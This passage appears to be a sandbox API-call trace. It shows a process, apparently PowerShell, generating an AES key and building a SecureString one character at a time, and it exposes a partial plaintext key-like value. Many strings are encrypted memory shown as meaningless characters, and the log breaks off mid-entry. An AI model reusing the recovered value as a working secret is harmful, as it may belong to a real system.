szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4d210) returned 1 [0209.398] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69180) returned 1 [0209.398] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0209.398] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0209.398] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2478254, pdwDataLen=0x5a2e82c | out: pbData=0x2478254*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0209.399] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.399] EtwEventActivityIdControl () returned 0x0 [0209.399] EtwEventActivityIdControl () returned 0x0 [0209.400] EtwEventActivityIdControl () returned 0x0 [0209.401] SysStringLen (param_1="") returned 0x8 [0209.401] SysStringLen (param_1="S") returned 0x8 [0209.401] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.401] SysStringLen (param_1="氡贞햘㬒뱐驔歈톹") returned 0x8 [0209.401] SysStringLen (param_1="氡贞햘㬒뱐驔歈톹") returned 0x8 [0209.401] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.402] SysStringLen (param_1="S7") returned 0x8 [0209.402] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.402] SysStringLen (param_1="羁핓紧ꘄ僂㏪芖") returned 0x8 [0209.402] SysStringLen (param_1="羁핓紧ꘄ僂㏪芖") returned 0x8 [0209.402] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.402] SysStringLen (param_1="S7k") returned 0x8 [0209.402] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.403] SysStringLen (param_1="텹걶ឍ䎾鵢빃寉") returned 0x8 [0209.403] SysStringLen (param_1="텹걶ឍ䎾鵢빃寉") returned 0x8 [0209.403] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.403] SysStringLen (param_1="S7kG") returned 0x8 [0209.403] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.403] SysStringLen (param_1="㽦粏涥瓻煽") returned 0x8 [0209.403] SysStringLen (param_1="㽦粏涥瓻煽") returned 0x8 [0209.403] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.618] SysStringLen (param_1="S7kG5") returned 0x8 [0209.618] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.618] SysStringLen (param_1="\x93⹆ㄣ暉偽ꕤ턺ᥑ") returned 0x8 [0209.618] SysStringLen (param_1="\x93⹆ㄣ暉偽ꕤ턺ᥑ") returned 0x8 [0209.618] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.618] SysStringLen (param_1="S7kG5N") returned 0x8 [0209.618] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.618] SysStringLen (param_1="ё┿呅椩圸阶郘") returned 0x8 [0209.618] SysStringLen (param_1="ё┿呅椩圸阶郘") returned 0x8 [0209.618] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.618] SysStringLen (param_1="S7kG5Ns") returned 0x8 [0209.618] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.619] SysStringLen (param_1="輦羮목誇騧㤓") returned 0x8 [0209.619] SysStringLen (param_1="輦羮목誇騧㤓") returned 0x8 [0209.619] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.619] SysStringLen (param_1="S7kG5Nsy") returned 0x8 [0209.619] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.619] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉") returned 0x8 [0209.620] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉") returned 0x8 [0209.620] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉") returned 0x8 [0209.620] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉") returned 0x10 [0209.621] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.621] SysStringLen (param_1="S7kG5Nsyr㴷蝘ƶ섟ꏠĭ௲") returned 0x10 [0209.621] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.621] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉逓ｘｽ\䣙橐䝗ꮌ⋠) returned 0x10 [0209.621] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉逓ｘｽ\䣙橐䝗ꮌ⋠) returned 0x10 [0209.621] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.621] SysStringLen (param_1="S7kG5NsyrN蝘ƶ섟ꏠĭ௲") returned 0x10 [0209.621] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.621] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉㚹삿\櫙ࠨꋍ嵕૫⊳) returned 0x10 [0209.621] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉㚹삿\櫙ࠨꋍ嵕૫⊳) returned 0x10 [0209.621] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.622] SysStringLen (param_1="S7kG5NsyrN3ƶ섟ꏠĭ௲") returned 0x10 [0209.622] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.622] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉멝器ḻㅩ陰퐠ⶡ㗋") returned 0x10 [0209.622] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉멝器ḻㅩ陰퐠ⶡ㗋") returned 0x10 [0209.622] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.622] SysStringLen (param_1="S7kG5NsyrN3m섟ꏠĭ௲") returned 0x10 [0209.622] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.623] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉궣關뀵뼱蚈໱⹸矇") returned 0x10 [0209.623] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉궣關뀵뼱蚈໱⹸矇") returned 0x10 [0209.623] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.623] SysStringLen (param_1="S7kG5NsyrN3mmꏠĭ௲") returned 0x10 [0209.623] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.623] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉퓔彜Л폈五䂆\鏙∭) returned 0x10 [0209.623] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉퓔彜Л폈五䂆\鏙∭) returned 0x10 [0209.623] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.625] SysStringLen (param_1="S7kG5NsyrN3mmMĭ௲") returned 0x10 [0209.625] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.625] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉陞㥒韆胳蓈쿼䥯") returned 0x10 [0209.625] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉陞㥒韆胳蓈쿼䥯") returned 0x10 [0209.625] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.625] SysStringLen (param_1="S7kG5NsyrN3mmMA௲") returned 0x10 [0209.626] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.626] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉裠濯酚鈉议䨼瑆Ⴎ") returned 0x10 [0209.626] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉裠濯酚鈉议䨼瑆Ⴎ") returned 0x10 [0209.626] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.626] SysStringLen (param_1="S7kG5NsyrN3mmMAY") returned 0x10 [0209.626] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.626] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ") returned 0x10 [0209.627] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ") returned 0x10 [0209.627] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ") returned 0x10 [0209.628] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ") returned 0x18 [0209.628] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.628] SysStringLen (param_1="S7kG5NsyrN3mmMAYp㢠匏箔뉸暒⵮") returned 0x18 [0209.628] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.628] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡჀ灇ꫦ㽐簖๊軾") returned 0x18 [0209.628] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡჀ灇ꫦ㽐簖๊軾") returned 0x18 [0209.628] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.628] SysStringLen (param_1="S7kG5NsyrN3mmMAYpR匏箔뉸暒⵮") returned 0x18 [0209.628] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.628] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ兇䤰ᔤ\巙䒀얬ص⊁) returned 0x18 [0209.628] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ兇䤰ᔤ\巙䒀얬ص⊁) returned 0x18 [0209.628] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.629] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRm箔뉸暒⵮") returned 0x18 [0209.629] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.629] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ\蟞뺕䧊忒፶⊐) returned 0x18 [0209.629] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ\蟞뺕䧊忒፶⊐) returned 0x18 [0209.629] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.629] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQ뉸暒⵮") returned 0x18 [0209.629] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.629] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡུ၉⍈଎㿰槠䍆") returned 0x18 [0209.629] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡུ၉⍈଎㿰槠䍆") returned 0x18 [0209.629] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.630] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQt暒⵮") returned 0x18 [0209.630] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.630] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ梙舣덹뗁㞏䈥탿") returned 0x18 [0209.630] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ梙舣덹뗁㞏䈥탿") returned 0x18 [0209.630] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.630] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtz暒⵮") returned 0x18 [0209.630] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.630] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ쀑䂌잱⛤ꏴꮥ苼倦") returned 0x18 [0209.630] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ쀑䂌잱⛤ꏴꮥ苼倦") returned 0x18 [0209.630] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.630] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzh⵮") returned 0x18 [0209.630] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.631] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡÒƉ뉒깢塞棗늆保") returned 0x18 [0209.631] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡÒƉ뉒깢塞棗늆保") returned 0x18 [0209.631] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.631] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhN") returned 0x18 [0209.631] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.631] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ≧) returned 0x18 [0209.631] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ≧) returned 0x18 [0209.631] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ≧) returned 0x18 [0209.632] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ≧) returned 0x20 [0209.632] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.632] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNF붭難✬ῠ溎ᱬꪓ") returned 0x20 [0209.632] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.632] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ酧⿠Қ罗г≃) returned 0x20 [0209.632] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ酧⿠Қ罗г≃) returned 0x20 [0209.632] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.632] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFM難✬ῠ溎ᱬꪓ") returned 0x20 [0209.632] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.633] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ奧缐Ჵ㝢ꦠힺ搾䶵∁) returned 0x20 [0209.633] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ奧缐Ჵ㝢ꦠힺ搾䶵∁) returned 0x20 [0209.633] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.633] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMU✬ῠ溎ᱬꪓ") returned 0x20 [0209.633] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.633] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ᭧㼐\䓞뗭凨೷㌉珈") returned 0x20 [0209.633] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ᭧㼐\䓞뗭凨೷㌉珈") returned 0x20 [0209.633] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.634] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAῠ溎ᱬꪓ") returned 0x20 [0209.634] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.634] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ띧뚊騼ꬭॷשּׂ⋋) returned 0x20 [0209.634] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ띧뚊騼ꬭॷשּׂ⋋) returned 0x20 [0209.634] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.634] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZ溎ᱬꪓ") returned 0x20 [0209.634] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.636] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯᕧꧯൔ盇⬄驊펕⊟) returned 0x20 [0209.636] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯᕧꧯൔ盇⬄驊펕⊟) returned 0x20 [0209.636] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.637] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZwᱬꪓ") returned 0x20 [0209.637] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.637] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯꭧ洆哞纹䘡杓殺␷⋎) returned 0x20 [0209.637] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯꭧ洆哞纹䘡杓殺␷⋎) returned 0x20 [0209.637] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.637] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5ꪓ") returned 0x20 [0209.637] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.637] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ艧䈅꥕鍪﬏⋊) returned 0x20 [0209.637] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ艧䈅꥕鍪﬏⋊) returned 0x20 [0209.637] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.638] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5K") returned 0x20 [0209.638] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.638] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝⊋) returned 0x20 [0209.638] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝⊋) returned 0x20 [0209.638] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝⊋) returned 0x20 [0209.639] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝⊋) returned 0x28 [0209.639] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.639] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KB슨혅糣湱띀⻄䚍") returned 0x28 [0209.639] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.639] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝獑닖➷쬎덊䵳컕∷) returned 0x28 [0209.639] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝獑닖➷쬎덊䵳컕∷) returned 0x28 [0209.639] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.642] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZ혅糣湱띀⻄䚍") returned 0x28 [0209.642] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.642] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝䐽᧽ꤟ㼀ꀭיִ⋠⊫) returned 0x28 [0209.642] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝䐽᧽ꤟ㼀ꀭיִ⋠⊫) returned 0x28 [0209.642] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.642] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk糣湱띀⻄䚍") returned 0x28 [0209.642] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.643] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝沋朲ଡ篧珙귝ﾾ긩∜) returned 0x28 [0209.643] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝沋朲ଡ篧珙귝ﾾ긩∜) returned 0x28 [0209.643] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.643] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/湱띀⻄䚍") returned 0x28 [0209.643] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.643] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝ᚋ㔈쾼㥝汒虏딎≷) returned 0x28 [0209.643] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝ᚋ㔈쾼㥝汒虏딎≷) returned 0x28 [0209.643] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.646] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Y띀⻄䚍") returned 0x28 [0209.646] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.646] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝ᢋ쬳⊓ᄁ偾靕瞼⋢) returned 0x28 [0209.646] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝ᢋ쬳⊓ᄁ偾靕瞼⋢) returned 0x28 [0209.646] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.646] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Ym⻄䚍") returned 0x28 [0209.646] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.646] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝熋懵㡀败䔘Դ෠⤜∲) returned 0x28 [0209.646] SysStringLen 